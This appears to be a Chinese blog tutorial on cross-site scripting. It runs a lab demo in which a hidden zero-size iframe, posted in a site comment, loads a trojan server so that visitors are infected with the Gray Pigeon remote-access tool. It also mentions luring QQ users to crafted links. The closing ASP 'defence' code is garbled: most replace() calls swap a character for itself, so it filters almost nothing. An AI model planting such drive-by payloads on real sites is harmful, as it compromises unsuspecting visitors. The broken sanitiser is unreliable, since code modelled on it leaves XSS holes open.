也玩XSS

大家都知道跨站***不同於sql注入與上傳漏洞,原理是用戶提交的變量沒有經過完整過濾Html字符戒者根本就沒有經過過濾就放到了數據庫中,一個惡意用戶提交的Html代碼被其他瀏覽該網站的用戶訪問,通過這些Html代碼也就間接控制了瀏覽者的瀏覽器,就可以做很多的事情瞭如竊取敏感信息,引導訪問者的瀏覽器去訪問惡意網站等.同樣針對數據庫的***,分爲外跨站和內跨站兩種。
發現跨站漏洞的方法是在向網站中輸入一段代碼
<script>alert("/如果出現此提示,代表有跨站漏洞/")</script>
 

原理是當瀏覽器遇到一個以<開頭的標籤時就會認爲產生了一個Html標記,他就會用自己內部的機制去響應和解釋這些標籤。譬如<script>這樣的內容一旦出現,瀏覽器將認爲產生一個腳本標記並且將其後面的內容當作javascrip來解釋執行知道出現</script>結束。我們可以看出瀏覽器的所有輸出操作都是由這些<>標記控制的,他只是解釋這些標記並且產生動作或者把結果返回給用戶,其他的都當成普通字符顯示。當然你也可以用

javascript:alert("/如果出現此提示,代表有跨站漏洞/"),同樣執行。

這裏爲了演示,我們搭建一個網站,爲了方便就使用迷你ASP服務器來做實驗。主要是爲了實時查看日誌。先介紹下環境:

***(爲了方便介紹就***了) 192.168.114.23

被***控制的病毒服務器,一旦客戶訪問就可以下載***自動上線 192.168.114.25

有XSS漏洞的網站,用迷你asp服務器搭建網站, 192.168.114.26

受害者 192.168.114.27

好了,先配置環境,這裏對病毒服務器的配置就不做介紹了,畢竟這不是重點,還有就是使用的是灰鴿子,生成服務器端,配置也不做介紹了。

先用***去訪問XSS網站,然後在文章評論處輸入代碼<script>alert("/如果出現此提示,代表有跨站漏洞/")</script>,呵呵 結果

ok 證明可以實施下一步了。同樣在評論處輸入代碼
<iframe src=http://192.168.114.25 width=0 height=0></iframe>
注意,評論提交後自己就不要再次點開了,否則自己也會上線的。然後用受害者去訪問XSS網站,然後點開剛纔評論的頁面,好了,去ASP服務器查看下日誌記錄,好,訪問到了。
 
 
接着就是查看一下是不是有機子自動上線了
 
果然啊,還是自己上線了,這就是內跨站,就是利用來自自身的***,主要指的是利用程序自身的漏洞,構造跨站語句.在有跨站漏洞的頁面直接寫入網頁***地址,但凡瀏覽此頁的用戶都有可能中***。 不同與內跨站, 外跨站(來自外部的***),主要指的自己構造XSS跨站漏洞網頁,或者尋找非目標機以外的有跨站漏洞的網頁. 在可以外跨站的URL後面跟上網頁***地址,然後把這個URL發給對方,騙其點擊, 引發中馬.這也是QQ上常見的一種騙子信息啊!
好了,這裏主要是介紹一下跨站***的原理,所以做實驗時很多安全措施都沒有做,還有***什麼的都沒考慮殺軟的因素。
當然現實情況是很多網站都做過過濾,根本就無法做跨站***。
提供一段代碼,可以有效的防禦大部分的跨站***:
 
str=trim(str) 
  If IsNull(Str) Then
    CheckStr = ""
   End if
str=replace(str,"&","&")
str=replace(str,":","")
str=replace(str,"=","=")
str=replace(str,"<","<")
str=replace(str,">",">")
str=replace(str," "," ")
str=Replace(Str,"""",""")
 
 
 
 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章